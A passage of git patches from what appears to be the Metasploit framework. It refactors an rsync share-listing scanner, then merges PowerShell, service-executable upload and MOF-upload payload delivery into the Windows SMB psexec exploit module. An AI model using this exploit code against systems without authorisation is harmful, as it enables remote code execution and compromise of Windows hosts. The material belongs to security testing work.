tones[t].length < 2 - puts "#{t}hz" - tones[t].each do |x| - puts "\t#{x[0]}hz @ #{x[1]}" - end - end - - end -end From c265a371d8158ca0714be291e56ccbb7ee25cfe3 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 08:25:38 -0800 Subject: [PATCH 1071/2172] Make testing the rsync module for authentication optional, but on by default --- .../auxiliary/scanner/rsync/modules_list.rb | 24 ++++++++++--------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index d2f9d12a30..ae99bdbc75 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary ) register_options( [ + OptBool.new('TEST_AUTHENTICATION', + [ true, 'Test if the rsync module requires authentication', true ]), Opt::RPORT(873) ], self.class) end @@ -137,23 +139,23 @@ class Metasploit3 < Msf::Auxiliary else print_good("#{ip}:#{rport} - rsync #{version}: #{listing.size} modules found: " \ "#{listing.map(&:first).join(', ')}") - listing.each do |name_comment| - connect - rsync_negotiate(false) - name_comment << rsync_requires_auth?(name_comment.first) - disconnect + + table_columns = %w(Name Comment) + if datastore['TEST_AUTHENTICATION'] + table_columns << 'Authentication?' + listing.each do |name_comment| + connect + rsync_negotiate(false) + name_comment << rsync_requires_auth?(name_comment.first) + disconnect + end end # build a table to store the module listing in listing_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "rsync modules for #{ip}:#{rport}", - 'Columns' => - [ - "Name", - "Comment", - "Authentication?" - ], + 'Columns' => table_columns, 'Rows' => listing ) vprint_line(listing_table.to_s) From c0993c3797d2e1f828b00de0b1e5349344175f8d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 08:28:35 -0800 Subject: [PATCH 1072/2172] Appease rubocop You have 20 seconds to comply --- modules/auxiliary/scanner/rsync/modules_list.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index ae99bdbc75..87f85bd663 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary def rsync_negotiate(get_motd) # rsync is promiscuous and will send the negotitation and motd # upon connecting. abort if we get nothing - return unless greeting = sock.get_once + return unless (greeting = sock.get_once) # parse the greeting control and data lines. With some systems, the data # lines at this point will be the motd. From b7ccee949e0dfdd76d55cb045f9be2ca48555d16 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 08:42:29 -0800 Subject: [PATCH 1073/2172] Improve name and description; update authors --- modules/auxiliary/scanner/rsync/modules_list.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 87f85bd663..466df9b4e3 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -14,9 +14,17 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Rsync Unauthenticated List Command', - 'Description' => 'List all (listable) modules from a rsync daemon', - 'Author' => 'ikkini', + 'Name' => 'List Rsync Modules', + 'Description' => %q( + An rsync module is essentially a directory share. These modules can + optionally be protected by a password. This module connects to and + negotiates with an rsync server, lists the available modules and, + optionally, determines if the module requires a password to access. + ), + 'Author' => [ + 'ikkini', # original metasploit module + 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module + ], 'References' => [ ['URL', 'http://rsync.samba.org/ftp/rsync/rsync.html'] From 8f4f187c70bbcd425b0d35e18b1df06f024c7543 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 08:47:37 -0800 Subject: [PATCH 1074/2172] More usable format for module metadata in notes --- modules/auxiliary/scanner/rsync/modules_list.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 466df9b4e3..d3ab0fde65 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -62,7 +62,8 @@ class Metasploit3 < Msf::Auxiliary sock.get(read_timeout).split(/\n/).map(&:strip).map do |module_line| next if module_line =~ /^#{RSYNC_HEADER} EXIT$/ name, comment = module_line.split(/\t/).map(&:strip) - list << [ name, comment ] + next unless name + list << { name: name, comment: comment } end list @@ -151,10 +152,10 @@ class Metasploit3 < Msf::Auxiliary table_columns = %w(Name Comment) if datastore['TEST_AUTHENTICATION'] table_columns << 'Authentication?' - listing.each do |name_comment| + listing.each do |listing_metadata| connect rsync_negotiate(false) - name_comment << rsync_requires_auth?(name_comment.first) + listing_metadata[:authentication?] = rsync_requires_auth?(listing_metadata[:name]) disconnect end end @@ -174,7 +175,6 @@ class Metasploit3 < Msf::Auxiliary port: rport, type: 'rsync_modules', data: { modules: listing }, - update: :unique_data ) end end From 9bcdd19e0aae2b9b8115d92ff3d3914936aeffc0 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 09:01:07 -0800 Subject: [PATCH 1075/2172] Correct table --- .../auxiliary/scanner/rsync/modules_list.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index d3ab0fde65..9e22216385 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -56,17 +56,17 @@ class Metasploit3 < Msf::Auxiliary def rsync_list sock.puts("#list\n") - list = [] + listing_metadata = [] # the module listing is the module name and comment separated by a tab, each module # on its own line, lines separated with a newline sock.get(read_timeout).split(/\n/).map(&:strip).map do |module_line| next if module_line =~ /^#{RSYNC_HEADER} EXIT$/ name, comment = module_line.split(/\t/).map(&:strip) next unless name - list << { name: name, comment: comment } + listing_metadata << { name: name, comment: comment } end - list + listing_metadata end # Attempts to negotiate the rsync protocol with the endpoint. @@ -141,21 +141,21 @@ class Metasploit3 < Msf::Auxiliary ) vprint_good("#{ip}:#{rport} - rsync MOTD: #{motd}") if motd - listing = rsync_list + listing_metadata = rsync_list disconnect - if listing.empty? + if listing_metadata.empty? print_status("#{ip}:#{rport} - rsync #{version}: no modules found") else - print_good("#{ip}:#{rport} - rsync #{version}: #{listing.size} modules found: " \ - "#{listing.map(&:first).join(', ')}") + modules = listing_metadata.map { |m| m[:name] } + print_good("#{ip}:#{rport} - rsync #{version}: #{modules.size} modules found: #{modules.join(', ')}") table_columns = %w(Name Comment) if datastore['TEST_AUTHENTICATION'] table_columns << 'Authentication?' - listing.each do |listing_metadata| + listing_metadata.each do |module_metadata| connect rsync_negotiate(false) - listing_metadata[:authentication?] = rsync_requires_auth?(listing_metadata[:name]) + module_metadata[:authentication?] = rsync_requires_auth?(module_metadata[:name]) disconnect end end @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary Msf::Ui::Console::Table::Style::Default, 'Header' => "rsync modules for #{ip}:#{rport}", 'Columns' => table_columns, - 'Rows' => listing + 'Rows' => listing_metadata.map(&:values) ) vprint_line(listing_table.to_s) @@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary proto: 'tcp', port: rport, type: 'rsync_modules', - data: { modules: listing }, + data: { modules: listing_metadata } ) end end From 2cab70294ebd652bbca5b6f601c5563335d6bd30 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 09:05:33 -0800 Subject: [PATCH 1076/2172] sprinkle in peer --- modules/auxiliary/scanner/rsync/modules_list.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 9e22216385..fb97c87bb3 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -39,6 +39,10 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def peer + "#{rhost}:#{rport}" + end + def read_timeout 10 end @@ -90,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary end unless version - vprint_error("#{ip}:#{rport} - no rsync negotation found") + vprint_error("#{peer} - no rsync negotiation found") return end @@ -125,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary connect version, motd = rsync_negotiate(true) unless version - vprint_error("#{ip}:#{rport} - does not appear to be rsync") + vprint_error("#{peer} - does not appear to be rsync") disconnect return end @@ -139,15 +143,15 @@ class Metasploit3 < Msf::Auxiliary name: 'rsync', info: info ) - vprint_good("#{ip}:#{rport} - rsync MOTD: #{motd}") if motd + vprint_good("#{peer} - rsync MOTD: #{motd}") if motd listing_metadata = rsync_list disconnect if listing_metadata.empty? - print_status("#{ip}:#{rport} - rsync #{version}: no modules found") + print_status("#{peer} - rsync #{version}: no modules found") else modules = listing_metadata.map { |m| m[:name] } - print_good("#{ip}:#{rport} - rsync #{version}: #{modules.size} modules found: #{modules.join(', ')}") + print_good("#{peer} - rsync #{version}: #{modules.size} modules found: #{modules.join(', ')}") table_columns = %w(Name Comment) if datastore['TEST_AUTHENTICATION'] @@ -163,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary # build a table to store the module listing in listing_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "rsync modules for #{ip}:#{rport}", + 'Header' => "rsync modules for #{peer}", 'Columns' => table_columns, 'Rows' => listing_metadata.map(&:values) ) From ba5a8e48064355b61e768af4a2a18c5e44002efc Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 09:11:07 -0800 Subject: [PATCH 1077/2172] style --- .../auxiliary/scanner/rsync/modules_list.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index fb97c87bb3..8ce877b32a 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -60,17 +60,17 @@ class Metasploit3 < Msf::Auxiliary def rsync_list sock.puts("#list\n") - listing_metadata = [] + modules_metadata = [] # the module listing is the module name and comment separated by a tab, each module # on its own line, lines separated with a newline sock.get(read_timeout).split(/\n/).map(&:strip).map do |module_line| next if module_line =~ /^#{RSYNC_HEADER} EXIT$/ name, comment = module_line.split(/\t/).map(&:strip) next unless name - listing_metadata << { name: name, comment: comment } + modules_metadata << { name: name, comment: comment } end - listing_metadata + modules_metadata end # Attempts to negotiate the rsync protocol with the endpoint. @@ -145,18 +145,18 @@ class Metasploit3 < Msf::Auxiliary ) vprint_good("#{peer} - rsync MOTD: #{motd}") if motd - listing_metadata = rsync_list + modules_metadata = rsync_list disconnect - if listing_metadata.empty? + if modules_metadata.empty? print_status("#{peer} - rsync #{version}: no modules found") else - modules = listing_metadata.map { |m| m[:name] } + modules = modules_metadata.map { |m| m[:name] } print_good("#{peer} - rsync #{version}: #{modules.size} modules found: #{modules.join(', ')}") table_columns = %w(Name Comment) if datastore['TEST_AUTHENTICATION'] table_columns << 'Authentication?' - listing_metadata.each do |module_metadata| + modules_metadata.each do |module_metadata| connect rsync_negotiate(false) module_metadata[:authentication?] = rsync_requires_auth?(module_metadata[:name]) @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary Msf::Ui::Console::Table::Style::Default, 'Header' => "rsync modules for #{peer}", 'Columns' => table_columns, - 'Rows' => listing_metadata.map(&:values) + 'Rows' => modules_metadata.map(&:values) ) vprint_line(listing_table.to_s) @@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary proto: 'tcp', port: rport, type: 'rsync_modules', - data: { modules: listing_metadata } + data: { modules: modules_metadata } ) end end From 0d3232f93a132d18a56163aea709f3e22b3845bf Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 09:12:02 -0800 Subject: [PATCH 1078/2172] break if we get the rsync exit --- modules/auxiliary/scanner/rsync/modules_list.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 8ce877b32a..4637e388bf 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary # the module listing is the module name and comment separated by a tab, each module # on its own line, lines separated with a newline sock.get(read_timeout).split(/\n/).map(&:strip).map do |module_line| - next if module_line =~ /^#{RSYNC_HEADER} EXIT$/ + break if module_line =~ /^#{RSYNC_HEADER} EXIT$/ name, comment = module_line.split(/\t/).map(&:strip) next unless name modules_metadata << { name: name, comment: comment } From 3528bb2fa75103eb0121b389e0b887e0ceff8aab Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 09:43:10 -0800 Subject: [PATCH 1079/2172] Remove optional motd handling; this is always necessary without it, detecting authentication on systems w/ a motd does not work --- modules/auxiliary/scanner/rsync/modules_list.rb | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 4637e388bf..acd0fd5b86 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary end # Attempts to negotiate the rsync protocol with the endpoint. - def rsync_negotiate(get_motd) + def rsync_negotiate # rsync is promiscuous and will send the negotitation and motd # upon connecting. abort if we get nothing return unless (greeting = sock.get_once) @@ -98,11 +98,8 @@ class Metasploit3 < Msf::Auxiliary return end - motd_lines = greeting_data_lines - if get_motd - _, post_neg_data_lines = rsync_parse_lines(sock.get_once) - motd_lines |= post_neg_data_lines - end + _, post_neg_data_lines = rsync_parse_lines(sock.get_once) + motd_lines = greeting_data_lines + post_neg_data_lines [ version, motd_lines.empty? ? nil : motd_lines.join("\n") ] end @@ -127,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) connect - version, motd = rsync_negotiate(true) + version, motd = rsync_negotiate unless version vprint_error("#{peer} - does not appear to be rsync") disconnect @@ -158,7 +155,7 @@ class Metasploit3 < Msf::Auxiliary table_columns << 'Authentication?' modules_metadata.each do |module_metadata| connect - rsync_negotiate(false) + rsync_negotiate module_metadata[:authentication?] = rsync_requires_auth?(module_metadata[:name]) disconnect end From 8f497faa095cbe816cff7a2b02275d99779c5422 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 10:01:38 -0800 Subject: [PATCH 1080/2172] Make read timeout configurable and shorter by default This makes the time spent handling motd almost a non-issue --- .../auxiliary/scanner/rsync/modules_list.rb | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index acd0fd5b86..e58a338a6a 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -31,12 +31,20 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE ) + register_options( [ OptBool.new('TEST_AUTHENTICATION', [ true, 'Test if the rsync module requires authentication', true ]), Opt::RPORT(873) - ], self.class) + ] + ) + + register_advanced_options( + [ + OptInt.new('READ_TIMEOUT', [ true, 'Seconds to wait while reading rsync responses', 2 ]) + ] + ) end def peer @@ -44,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary end def read_timeout - 10 + datastore['READ_TIMEOUT'] end def rsync_requires_auth?(rmodule) sock.puts("#{rmodule}\n") - res = sock.get_once + res = sock.get_once(-1, read_timeout) if res && (res =~ /^#{RSYNC_HEADER} AUTHREQD/) true else @@ -77,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary def rsync_negotiate # rsync is promiscuous and will send the negotitation and motd # upon connecting. abort if we get nothing - return unless (greeting = sock.get_once) + return unless (greeting = sock.get_once(-1, read_timeout)) # parse the greeting control and data lines. With some systems, the data # lines at this point will be the motd. @@ -98,7 +106,7 @@ class Metasploit3 < Msf::Auxiliary return end - _, post_neg_data_lines = rsync_parse_lines(sock.get_once) + _, post_neg_data_lines = rsync_parse_lines(sock.get_once(-1, read_timeout)) motd_lines = greeting_data_lines + post_neg_data_lines [ version, motd_lines.empty? ? nil : motd_lines.join("\n") ] end @@ -179,4 +187,8 @@ class Metasploit3 < Msf::Auxiliary ) end end + + def setup + fail_with(Failure::BadConfig, 'READ_TIMEOUT must be > 0') if read_timeout <= 0 + end end From f1a79bd207cb938d5abf4c3476ce841d79fce22f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 4 Nov 2015 10:11:00 -0800 Subject: [PATCH 1081/2172] Make motd printing optional, off by default --- modules/auxiliary/scanner/rsync/modules_list.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index e58a338a6a..b894890c3f 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -42,6 +42,8 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ + OptBool.new('SHOW_MOTD', + [ true, 'Show the rsync motd, if found', false ]), OptInt.new('READ_TIMEOUT', [ true, 'Seconds to wait while reading rsync responses', 2 ]) ] ) @@ -148,7 +150,7 @@ class Metasploit3 < Msf::Auxiliary name: 'rsync', info: info ) - vprint_good("#{peer} - rsync MOTD: #{motd}") if motd + vprint_good("#{peer} - rsync MOTD: #{motd}") if motd && datastore['SHOW_MOTD'] modules_metadata = rsync_list disconnect From 862dff964ae52894064740325b5cb8716a66c947 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 30 Oct 2015 16:21:24 -0500 Subject: [PATCH 1082/2172] Integrate psexec_psh into psexec --- modules/exploits/windows/smb/psexec.rb | 367 +++++++++++++++---------- 1 file changed, 221 insertions(+), 146 deletions(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 350f0d858a..30c6b3677a 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -16,12 +16,14 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking include Msf::Exploit::Remote::SMB::Client::Psexec - include Msf::Auxiliary::Report + include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::WbemExec + include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, @@ -36,19 +38,23 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', + 'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module + 'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'thread' }, 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], - [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ], + [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], + [ 'URL', 'http://sourceforge.net/projects/smbexec/' ] ], 'Payload' => { @@ -61,6 +67,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', { } ], + [ 'PowerShell', { } ], + [ 'Native upload', { } ], + [ 'MOF upload', { } ] ], 'DefaultTarget' => 0, # For the CVE, PsExec was first released around February or March 2001 @@ -74,15 +83,13 @@ class Metasploit3 < Msf::Exploit::Remote register_advanced_options( [ - OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]), - OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]), OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), + OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']) ], self.class) end def exploit - print_status("Connecting to the server...") connect() @@ -99,154 +106,222 @@ class Metasploit3 < Msf::Exploit::Remote ) print_line(" ") disconnect - return end - if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0 - - service_data = { - address: ::Rex::Socket.getaddress(datastore['RHOST'],true), - port: datastore['RPORT'], - service_name: 'smb', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - origin_type: :service, - module_fullname: self.fullname, - private_data: datastore['SMBPass'], - username: datastore['SMBUser'].downcase - } - - if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' - credential_data.merge!({ - realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, - realm_value: datastore['SMBDomain'] - }) - end - - if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - credential_data.merge!({:private_type => :ntlm_hash}) - else - credential_data.merge!({:private_type => :password}) - end - - credential_data.merge!(service_data) - - credential_core = create_credential(credential_data) - - login_data = { - access_level: 'Admin', - core: credential_core, - last_attempted_at: DateTime.now, - status: Metasploit::Model::Login::Status::SUCCESSFUL - } - - login_data.merge!(service_data) - login = create_credential_login(login_data) + if datastore['SMBUser'].to_s.strip.length > 0 + report_auth end - filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" - - if datastore['MOF_UPLOAD_METHOD'] - # payload as exe - print_status("Trying wbemexec...") - print_status("Uploading Payload...") - if datastore['SHARE'] != 'ADMIN$' - print_error('Wbem will only work with ADMIN$ share') - return - end - simple.connect("ADMIN$") - exe = generate_payload_exe - fd = smb_open("\\system32\\#{filename}", 'rwct') - fd << exe - fd.close - print_status("Created %SystemRoot%\\system32\\#{filename}") - - # mof to cause execution of above - mofname = rand_text_alphanumeric(14) + ".MOF" - mof = generate_mof(mofname, filename) - print_status("Uploading MOF...") - fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') - fd << mof - fd.close - print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") - - # Disconnect from the ADMIN$ - simple.disconnect("ADMIN$") - else - servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) - servicedescription = datastore['SERVICE_DESCRIPTION'] - displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1) - - # Upload the shellcode to a file - print_status("Uploading payload...") - smbshare = datastore['SHARE'] - fileprefix = "" - # if SHARE = Users/sasha/ or something like this - if smbshare =~ /.[\\\/]/ - subfolder = true - smbshare = datastore['SHARE'].dup - smbshare = smbshare.gsub(/^[\\\/]/,"") - folder_list = smbshare.split(/[\\\/]/) - smbshare = folder_list[0] - fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') + case target.name + when 'Automatic' + if powershell_installed? + print_status('Selecting PowerShell target') + powershell else - subfolder = false - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{filename}", 'rwct') - end - exe = '' - opts = { :servicename => servicename } - exe = generate_payload_exe_service(opts) - - fd << exe - fd.close - - if subfolder - print_status("Created \\#{fileprefix}\\#{filename}...") - else - print_status("Created \\#{filename}...") - end - - # Disconnect from the share - simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") - - # define the file location - if datastore['SHARE'] == 'ADMIN$' - file_location = "%SYSTEMROOT%\\#{filename}" - elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/ - file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" - else - file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" - end - - psexec(file_location, false) - - unless datastore['SERVICE_PERSIST'] - print_status("Deleting \\#{filename}...") - #This is not really useful but will prevent double \\ on the wire :) - if datastore['SHARE'] =~ /.[\\\/]/ - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - begin - simple.delete("\\#{fileprefix}\\#{filename}") - rescue XCEPT::ErrorCode => e - print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") - end - else - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - begin - simple.delete("\\#{filename}") - rescue XCEPT::ErrorCode => e - print_error("Delete of \\#{filename} failed: #{e.message}") - end - end + print_status('Selecting native target') + native_upload end + when 'PowerShell' + powershell + when 'Native upload' + native_upload + when 'MOF upload' + mof_upload end + handler disconnect end + + def powershell_installed? + share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}" + + case datastore['SHARE'].upcase + when 'ADMIN$' + path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' + when 'C$' + path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' + else + path = datastore['PSH_PATH'] + end + + begin + simple.connect(share) + + vprint_status("Checking for #{path}") + + if smb_file_exist?(path) + vprint_status('PowerShell found') + true + else + vprint_status('PowerShell not found') + false + end + ensure + simple.disconnect(share) + end + end + + def powershell + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + + if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] + print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") + end + + # Execute the powershell command + print_status("#{peer} - Executing the payload...") + begin + psexec(command) + rescue StandardError => exec_command_error + fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") + end + end + + def native_upload + filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" + servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) + + # Upload the shellcode to a file + print_status("Uploading payload...") + smbshare = datastore['SHARE'] + fileprefix = "" + # if SHARE = Users/sasha/ or something like this + if smbshare =~ /.[\\\/]/ + subfolder = true + smbshare = datastore['SHARE'].dup + smbshare = smbshare.gsub(/^[\\\/]/,"") + folder_list = smbshare.split(/[\\\/]/) + smbshare = folder_list[0] + fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') + else + subfolder = false + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + fd = smb_open("\\#{filename}", 'rwct') + end + exe = '' + opts = { :servicename => servicename } + exe = generate_payload_exe_service(opts) + + fd << exe + fd.close + + if subfolder + print_status("Created \\#{fileprefix}\\#{filename}...") + else + print_status("Created \\#{filename}...") + end + + # Disconnect from the share + simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") + + # define the file location + if datastore['SHARE'] == 'ADMIN$' + file_location = "%SYSTEMROOT%\\#{filename}" + elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/ + file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" + else + file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" + end + + psexec(file_location, false) + + unless datastore['SERVICE_PERSIST'] + print_status("Deleting \\#{filename}...") + #This is not really useful but will prevent double \\ on the wire :) + if datastore['SHARE'] =~ /.[\\\/]/ + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + begin + simple.delete("\\#{fileprefix}\\#{filename}") + rescue XCEPT::ErrorCode => e + print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") + end + else + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + begin + simple.delete("\\#{filename}") + rescue XCEPT::ErrorCode => e + print_error("Delete of \\#{filename} failed: #{e.message}") + end + end + end + end + + def mof_upload + share = "\\\\#{datastore['RHOST']}\\ADMIN$" + filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" + + # payload as exe + print_status("Trying wbemexec...") + print_status("Uploading Payload...") + if datastore['SHARE'] != 'ADMIN$' + print_error('Wbem will only work with ADMIN$ share') + return + end + simple.connect(share) + exe = generate_payload_exe + fd = smb_open("\\system32\\#{filename}", 'rwct') + fd << exe + fd.close + print_status("Created %SystemRoot%\\system32\\#{filename}") + + # mof to cause execution of above + mofname = rand_text_alphanumeric(14) + ".MOF" + mof = generate_mof(mofname, filename) + print_status("Uploading MOF...") + fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') + fd << mof + fd.close + print_status("Created 